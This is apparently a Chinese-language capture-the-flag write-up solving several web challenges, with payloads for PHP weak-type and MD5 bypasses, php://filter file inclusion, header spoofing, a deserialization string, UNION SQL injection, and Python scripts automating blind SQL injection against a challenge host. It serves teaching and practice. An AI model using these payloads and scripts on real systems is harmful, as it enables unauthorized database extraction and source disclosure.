Check in
-
F12查看源码
-
对注释内容进行解密
这个很明显是Base64编码
提供一个很好的加密解密网站
easy_php
-
先理解代码是什么意思
<?php $flag="flag{********}"; $a="*******"; $b=$_GET['b']; if(isset($a)){ if($a!=$b){ if(!strcmp($a,$b)){ echo $flag; } } } ?>
isset()
函数用法是判断$a
是否为空,这里写的时候疏忽了,正确的应该是判断$b
是否为空。然后
$a
与$b
应该不相等,但是在strcmp()
函数中应该判断为相等。这里就涉及到
PHP
弱类型的问题了,strcmp()
期望传入的类型为字符串类型,如果传入了不符合的类型,就会发生错误,但还是会判定为相等payload
:?b[]=1
(这里没有做出来的是真的不应该了,只要在网上搜php
弱类型几乎就可以找到原题了)
include
用php
伪协议,想知道原理的同学可以搜索文件包含漏洞
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
拿到了经过base64加密的源码,解密一下
easy_http
这道题就需要用到burp suite
了
添加一个Referer
头
需要从本地登录
再添加一个X-Forwarded-For
头
注意一下,这个全名应该是Commodore
把User-Agent
头修改一下
拿到flag
easy_md5
右键查看源代码
意思和和easy_php
差不多,传入$a
和$b
的值
$a
与$b
的值不能相等,经过md5()
函数处理后相等
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
payload
:
QNKCDZO、240610708、s878926199a、s155964671a s214587387a、s214587387a
同时md5()
也不能处理数组,所以也可以使用传入数组进行绕过
easy_login
使用burp suite
中的intruder
模块进行爆破
时间会久一点,不过没关系
代打出题人
这里需要了解一下php
反序列化的知识
我们需要将Hit
类中的$content
="Hello World"
,$file
="flag.php"
payload
:
O:3:"Hit":2:{s:4:"file";s:8:"flag.php";s:7:"content";s:7:"su29029";}
easy_sql
先用万能密码尝试一下,注入点在username
先判断列数,有两列
爆一下库名,payload
:
-1' union select 1,group_concat(schema_name) from information_schema.schemata#
flag
应该在easy_sql
中
再爆表名,payload
:
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='easy_sql'#
继续,爆字段名,payload
:
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='easy_sql' and table_name='fl4g'#
最后一步了,payload
:
-1' union select 1,flag from fl4g#
hard_sql
前置知识
-
sql盲注。
-
sql语法中ascii()函数,substr()等字符串处理函数,case when分支结构等控制语句。
-
python脚本编写能力。
解题
首先拿到题目,给出了一个登录框,并提示后台做了过滤。这里依然先尝试万能密码。
admin' or 1=1 #
发现登录成功,但是只有Login Success,没有其他任何信息。admin' #
发现提示something wrong.由于只提示有错误而不说明错误内容,这里无法使用联合查询或报错注入。故考虑盲注。
给出第一步payload:
?user=1' and case (ascii(substr(database(),1,1))) when '104' then pow(999,999) end %23pass=123
解释一下,substr(string, index, length)函数用于截取string字符串从index位开始长度为length的子串,ascii()函数用于将字符转换为ascii码,case (statement) when '..' then ..... when '..' then ..... end类似switch的用法,判断某个statement的值,如果满足下面when的某个条件就执行then后的语句。而pow(999,999)执行一定会报错(数据溢出)。故如果
ascii(substr(database(),1,1))
的值等于104的话,数据库会报错,回显something wrong.如果值不等于,则不执行,回显wrong username password.这样我们通过判断database()的每一位是否等于某个ascii码转换后的值,就可以得出数据库名。import requests for i in range(1, 10): for j in range(32, 127): payload = "?user=1' and case (ascii(substr(database(), {},1))) when '{}' then pow(999,999) end %23&pass=123".format(i, j) url = "http://v8.su29029.xyz:10010/index.php" + payload r = requests.get(url) # print(j, end = " ") if (r.text.find('Something wrong') != -1): print(chr(j))
最终得到数据库名
hard_sql
.下一步爆表名。第二步payload:
?user=1' and case (ascii(substr((Select group_concat(table_name) from Information_schema.tables where table_schema="hard_sql"),1,1))) when '102' then pow(999,999) end %23pass=123
通过group_concat函数查询表名。
mport requests for i in range(1, 15): for j in range(32, 127): payload = "?user=1' and case (ascii(substr((Select group_concat(table_name) from Information_schema.tables where table_schema=\"hard_sql\"), {},1))) when '{}' then pow(999,999) end %23&pass=123".format(i, j) url = "http://v8.su29029.xyz:10010/index.php" + payload r = requests.get(url) # print(j, end = " ") if (r.text.find('Something wrong') != -1): print(chr(j))
最终得到所有数据表名
flag,users
.最后一步获取列名,但是发现column被过滤且无法绕过,故考虑无列名注入。
先判断列数,仍然使用上述payload来判断。
?user=1' and case (ascii(substr((Select
1
from (Select 1 union Select * from hard_sql.flag) as a limit 1,1), 1,1))) when '1000' then pow(999,999) end %23&pass=123发现提示something wrong.说明列数错误(因为ascii码值不可能等于1000,但是报错了说明是前面语句出现问题,在没有语法错误的情况下只可能是列数错误),故增加列数,最后发现一共有5列。因为使用如下payload时没有提示something wrong 而是 wrong username password.
?user=1' and case (ascii(substr((Select
1
from (Select 1,2,3,4,5 union Select * from hard_sql.flag) as a limit 1,1), 1,1))) when '1000' then pow(999,999) end %23&pass=123爆出该表的所有列的所有内容(一行一行来):
import requests for m in range(1, 6): for i in range(1, 100): index = 0 for j in range(127, 32, -1): payload = "?user=1' and case (ascii(substr((Select `{}` from (Select 1,2,3,4,5 union Select * from hard_sql.flag) as a limit 1,1), {},1))) when '{}' then pow(999,999) end %23&pass=123".format(m, i, j) url = "http://v8.su29029.xyz:10010/index.php" + payload r = requests.get(url) if (r.text.find('Something wrong') != -1): print(chr(j)) index = 1 break if (index == 0): break print("-----------------")
最终结果:
flag{{{{{{{
mini~~~
flag{this_is_not_a_flag}
ffllaagg{{}}
flag{sql_1s_s0_c00000001lllll!!!!!!}
最后一个是真正的flag。
成功获得flag。